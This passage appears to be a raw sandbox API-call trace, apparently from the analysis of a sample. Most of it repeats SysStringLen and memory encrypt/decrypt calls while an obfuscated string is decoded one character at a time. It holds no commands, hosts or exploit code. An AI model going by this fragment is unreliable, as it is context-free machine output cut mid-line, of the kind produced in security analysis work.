(param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305") returned 0x8 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305") returned 0x8 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305") returned 0x8 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305") returned 0x10 [0126.400] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.400] SysStringLen (param_1="gnbgMdQff숿ᰌ팠倱罚⿋取") returned 0x10 [0126.400] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x27e1\x9ca4\x546d\x78f\xed50\xab21\x136a\x2298") returned 0x10 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x27e1\x9ca4\x546d\x78f\xed50\xab21\x136a\x2298") returned 0x10 [0126.400] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.400] SysStringLen (param_1="gnbgMdQffZᰌ팠倱罚⿋取") returned 0x10 [0126.400] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.400] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x552\x53a4\x3db9\x6d17\x1ea9\xff85\xfde7\xb35e") returned 0x10 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x552\x53a4\x3db9\x6d17\x1ea9\xff85\xfde7\xb35e") returned 0x10 [0126.401] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="gnbgMdQffZK팠倱罚⿋取") returned 0x10 [0126.401] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x17af\x7ea0\x1691\x5838\xab94\x1216\x8987\x8fd8") returned 0x10 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x17af\x7ea0\x1691\x5838\xab94\x1216\x8987\x8fd8") returned 0x10 [0126.401] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="gnbgMdQffZKn倱罚⿋取") returned 0x10 [0126.401] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x55b\xcf4\xe10\xeffd\x3776\xa4a3\x4dcb\x8adf") returned 0x10 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x55b\xcf4\xe10\xeffd\x3776\xa4a3\x4dcb\x8adf") returned 0x10 [0126.401] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="gnbgMdQffZKnP罚⿋取") returned 0x10 [0126.401] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x53d1\x71b\xb8de\xfe5c\xf98f\xe2d4\x31c5\x8217") returned 0x10 [0126.401] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x53d1\x71b\xb8de\xfe5c\xf98f\xe2d4\x31c5\x8217") returned 0x10 [0126.401] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="gnbgMdQffZKnPB⿋取") returned 0x10 [0126.402] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x20d9\xbcce\xa1cf\xb66a\x5a61\xc250\x1ebc\xd2e6") returned 0x10 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x20d9\xbcce\xa1cf\xb66a\x5a61\xc250\x1ebc\xd2e6") returned 0x10 [0126.402] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="gnbgMdQffZKnPBu取") returned 0x10 [0126.402] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x658b\x5e8e\x549e\x67f0\x8d00\x8dd\xee03\x5ff3") returned 0x10 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x658b\x5e8e\x549e\x67f0\x8d00\x8dd\xee03\x5ff3") returned 0x10 [0126.402] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="gnbgMdQffZKnPBu1") returned 0x10 [0126.402] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1") returned 0x10 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1") returned 0x10 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1") returned 0x10 [0126.402] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1") returned 0x18 [0126.402] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.403] SysStringLen (param_1="gnbgMdQffZKnPBu1eﲩጰ늺茖⟎䬵갂") returned 0x18 [0126.403] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.403] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\xcf12\x75cc\x1fc7\x98ef\x221\xa611\x4862\x7df4") returned 0x18 [0126.403] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\xcf12\x75cc\x1fc7\x98ef\x221\xa611\x4862\x7df4") returned 0x18 [0126.403] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.403] SysStringLen (param_1="gnbgMdQffZKnPBu1eUጰ늺茖⟎䬵갂") returned 0x18 [0126.403] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.403] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x5512\x6a38\xd2b2\x2b80\xd144\x9205\x775e\x1b16") returned 0x18 [0126.403] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x5512\x6a38\xd2b2\x2b80\xd144\x9205\x775e\x1b16") returned 0x18 [0126.403] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5늺茖⟎䬵갂") returned 0x18 [0126.404] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\xf6e7\x9bfd\x6a9e\xf58f\x6c18\xf5b0\xa4d0\xa1cf") returned 0x18 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\xf6e7\x9bfd\x6a9e\xf58f\x6c18\xf5b0\xa4d0\xa1cf") returned 0x18 [0126.404] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5F茖⟎䬵갂") returned 0x18 [0126.404] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x11ca\x5398\xf4c0\x55a2\xa1e\xd7b7\x7aa3\x9be") returned 0x18 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x11ca\x5398\xf4c0\x55a2\xa1e\xd7b7\x7aa3\x9be") returned 0x18 [0126.404] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FD⟎䬵갂") returned 0x18 [0126.404] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x3e9f\x54a\x1f3\x5cb0\xb536\x6fb6\x155d\xfe45") returned 0x18 [0126.404] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x3e9f\x54a\x1f3\x5cb0\xb536\x6fb6\x155d\xfe45") returned 0x18 [0126.404] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.404] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDB䬵갂") returned 0x18 [0126.404] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x5a30\xcffb\x4ba2\x4a11\x4e6c\xb112\xf468\xa763") returned 0x18 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x5a30\xcffb\x4ba2\x4a11\x4e6c\xb112\xf468\xa763") returned 0x18 [0126.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.405] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBw갂") returned 0x18 [0126.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x1d39\x7a01\xac63\xd1d2\x6029\x8b36\xfc27\x27d5") returned 0x18 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x1d39\x7a01\xac63\xd1d2\x6029\x8b36\xfc27\x27d5") returned 0x18 [0126.405] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.405] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwP") returned 0x18 [0126.405] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09") returned 0x18 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09") returned 0x18 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09") returned 0x18 [0126.405] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09") returned 0x20 [0126.405] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.405] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPx粅ູ㎸䩵䲊옝廚") returned 0x20 [0126.405] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x2c19\xd4f8\xe2b2\x828e\x70a0\x53ea\x66b6\x2745") returned 0x20 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x2c19\xd4f8\xe2b2\x828e\x70a0\x53ea\x66b6\x2745") returned 0x20 [0126.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxlູ㎸䩵䲊옝廚") returned 0x20 [0126.406] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\xaab4\xbc98\xfddf\x6269\x505a\xc1f8\xb7be\xbe66") returned 0x20 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\xaab4\xbc98\xfddf\x6269\x505a\xc1f8\xb7be\xbe66") returned 0x20 [0126.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8㎸䩵䲊옝廚") returned 0x20 [0126.406] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x9080\xb194\x7e99\xab6\x348a\x47e7\xe0b5\x5503") returned 0x20 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x9080\xb194\x7e99\xab6\x348a\x47e7\xe0b5\x5503") returned 0x20 [0126.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8L䩵䲊옝廚") returned 0x20 [0126.406] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\xefec\x1cbe\x2fe7\xe2ca\x2c5f\xcde0\x1852\x181") returned 0x20 [0126.406] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\xefec\x1cbe\x2fe7\xe2ca\x2c5f\xcde0\x1852\x181") returned 0x20 [0126.406] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8Lm䲊옝廚") returned 0x20 [0126.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x52ac\xe8fc\x3933\x4b90\x3217\x18fe\xf249\x927") returned 0x20 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x52ac\xe8fc\x3933\x4b90\x3217\x18fe\xf249\x927") returned 0x20 [0126.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmH옝廚") returned 0x20 [0126.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x4fe0\xda1c\x88a2\x8a0e\xc22e\x2e71\xaccf\x203e") returned 0x20 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x4fe0\xda1c\x88a2\x8a0e\xc22e\x2e71\xaccf\x203e") returned 0x20 [0126.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF廚") returned 0x20 [0126.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x50eb\xd0aa\x6e8b\xc126\x9703\xfa6c\x8118\x71e3") returned 0x20 [0126.407] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x50eb\xd0aa\x6e8b\xc126\x9703\xfa6c\x8118\x71e3") returned 0x20 [0126.407] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.407] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2") returned 0x20 [0126.407] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab") returned 0x20 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab") returned 0x20 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab") returned 0x20 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x8468\xa00\x8468\xa00\x8474\xa00\x8474\xa00") returned 0x28 [0126.408] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.408] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2l其諎꾥") returned 0x28 [0126.408] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x185a\xd1fd\x47d2\x2b2b\x1612\xa147\x1cdd\x4b1f") returned 0x28 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x185a\xd1fd\x47d2\x2b2b\x1612\xa147\x1cdd\x4b1f") returned 0x28 [0126.408] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.408] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR其諎꾥") returned 0x28 [0126.408] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xdbfa\xbd82\xd75f\x2386\x7923\x5a00\x36d2\x2e62") returned 0x28 [0126.408] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xdbfa\xbd82\xd75f\x2386\x7923\x5a00\x36d2\x2e62") returned 0x28 [0126.408] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.408] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/其諎꾥") returned 0x28 [0126.408] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x29dc\x7d77\xb1e9\x8b5e\x6038\x3dd4\x9e40\x623e") returned 0x28 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x29dc\x7d77\xb1e9\x8b5e\x6038\x3dd4\x9e40\x623e") returned 0x28 [0126.409] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7其諎꾥") returned 0x28 [0126.409] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen 